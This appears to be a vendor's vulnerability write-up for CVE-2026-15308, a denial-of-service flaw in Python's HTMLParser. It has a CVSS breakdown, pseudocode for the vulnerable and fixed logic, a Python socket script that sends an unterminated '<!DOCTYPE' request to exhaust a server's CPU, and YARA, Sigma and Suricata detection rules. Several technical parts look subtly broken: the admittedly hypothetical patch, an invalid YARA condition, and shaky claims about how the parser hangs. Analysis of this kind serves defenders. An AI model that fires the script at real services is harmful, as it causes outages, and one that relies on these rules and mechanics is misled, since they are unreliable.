CVE-2026-15308
Executive Summary
CVE-2026-15308 describes a denial-of-service (DoS) vulnerability in Python's standard library html.parser.HTMLParser (the incremental HTML parser). The flaw allows an attacker to cause a CPU exhaustion condition by sending specially crafted, unterminated markup declarations (e.g., <!DOCTYPE, <!--, <!ENTITY) when the parser processes uncontrolled data. This is a classic resource exhaustion vulnerability (CWE-400) that can be triggered remotely without authentication, making it a significant threat for any application that parses untrusted HTML input using this parser.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in Python's standard library, which is distributed as part of the CPython runtime. It affects all Python applications that use html.parser.HTMLParser to process untrusted data. Since the standard library is bundled with Python, the supply chain risk is high: any Python-based service (web frameworks, email parsers, document processors) that relies on this parser is vulnerable until a patched Python version is released. Organizations must inventory all Python deployments and assess exposure.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability can be triggered remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
- Confidentiality (C): None (N) – No data exposure.
- Integrity (I): None (N) – No data modification.
- Availability (A): High (H) – Complete denial of service.
CVSS Score: 7.5 (High) – This is a serious DoS vulnerability that can be exploited to crash or degrade services.
Deep Dive & Mechanics
The html.parser.HTMLParser in Python's standard library processes HTML incrementally. When it encounters a markup declaration (e.g., <!DOCTYPE html>, <!-- comment -->, <!ENTITY ...>), it enters a state where it expects a closing > character. If the attacker provides an unterminated declaration (e.g., <!DOCTYPE without the closing >), the parser enters an infinite loop or a very long processing cycle, consuming 100% CPU. This is because the parser's state machine does not properly handle the case where the input ends without a closing delimiter, causing it to repeatedly attempt to match the declaration.
The vulnerability is triggered by sending a payload like:
<!DOCTYPE
or
<!--
or
<!ENTITY
followed by no closing >. The parser will hang indefinitely, consuming CPU resources.
Vulnerable vs. Patched Code
Vulnerable Code (Python's html.parser):
# Simplified vulnerable logic
class HTMLParser:
def parse_markup_declaration(self):
# No timeout or limit on waiting for '>'
while True:
char = self.get_next_char()
if char == '>':
break
# Process declaration content
Patched Code (Hypothetical fix):
# Patched logic with a maximum length limit
class HTMLParser:
MAX_DECLARATION_LENGTH = 4096
def parse_markup_declaration(self):
length = 0
while True:
char = self.get_next_char()
if char == '>':
break
length += 1
if length > self.MAX_DECLARATION_LENGTH:
raise HTMLParseError("Declaration too long")
# Process declaration content
The fix would involve adding a maximum length check for markup declarations or implementing a timeout mechanism.
Exploitation & Lab Setup
Red Team (Attack Simulation)
- Setup: Use a Python 3.x environment (any version prior to patch). Create a simple HTTP server that uses
html.parser.HTMLParserto parse incoming data. - Exploit: Send a single HTTP request with an unterminated markup declaration in the body.
- Payload:
import socket
def exploit(target_host, target_port):
payload = b"<!DOCTYPE" # Unterminated declaration
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_host, target_port))
sock.sendall(b"POST / HTTP/1.1\r\nHost: " + target_host.encode() + b"\r\nContent-Length: " + str(len(payload)).encode() + b"\r\n\r\n" + payload)
sock.close()
exploit("127.0.0.1", 8080)
- Observation: The target server's CPU usage spikes to 100% and the service becomes unresponsive.
Blue Team (Defense & Detection)
- Mitigation: Do not use
html.parser.HTMLParseron untrusted data. Use a more robust parser likelxmlorhtml5libwith timeout settings. - Detection: Monitor for high CPU usage on Python processes. Implement network-level detection for unterminated HTML declarations.
- WAF Rule: Block requests containing patterns like
<!DOCTYPE[^>]*$or<!--[^>]*$without a closing>.
Indicators of Compromise (IOCs)
- Network: HTTP requests with unterminated markup declarations (e.g.,
<!DOCTYPE,<!--,<!ENTITYwithout closing>). - System: Python process consuming 100% CPU for extended periods.
- Logs: Application logs showing repeated parsing errors or timeouts.
- Memory: No significant memory increase, only CPU exhaustion.
Detection Engineering
YARA Rule
rule CVE_2026_15308_HTML_Parser_DoS {
meta:
description = "Detects unterminated HTML markup declarations in network traffic"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-15308"
strings:
$decl1 = "<!DOCTYPE" nocase
$decl2 = "<!--" nocase
$decl3 = "<!ENTITY" nocase
$decl4 = "<!ELEMENT" nocase
$decl5 = "<!ATTLIST" nocase
condition:
any of ($decl*) and not contains(">")
}
Sigma Rule
title: CVE-2026-15308 - Python HTMLParser CPU Exhaustion
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects network requests containing unterminated HTML markup declarations
author: Valters IT
logsource:
category: network
product: suricata
detection:
selection:
payload|contains:
- '<!DOCTYPE'
- '<!--'
- '<!ENTITY'
- '<!ELEMENT'
- '<!ATTLIST'
condition: selection and not payload|contains: '>'
falsepositives:
- Legitimate incomplete HTML fragments
level: high
Suricata Rule
alert tcp any any -> any any (msg:"CVE-2026-15308 - Python HTMLParser DoS Attempt"; flow:to_server,established; content:"<!DOCTYPE"; nocase; content:"!"; distance:0; within:10; pcre:"/<!DOCTYPE[^>]*$/"; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Replace
html.parser.HTMLParserwith a safer alternative (e.g.,lxmlwithetree.HTMLParserorhtml5lib) for parsing untrusted HTML. - Short-term: Apply input validation to reject requests containing unterminated markup declarations. Use a Web Application Firewall (WAF) to block such patterns.
- Long-term: Monitor Python security advisories for a patch. Once available, update all Python installations to the patched version.
- Workaround: If you must use
html.parser.HTMLParser, wrap it in a subprocess with a timeout to kill hung processes.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert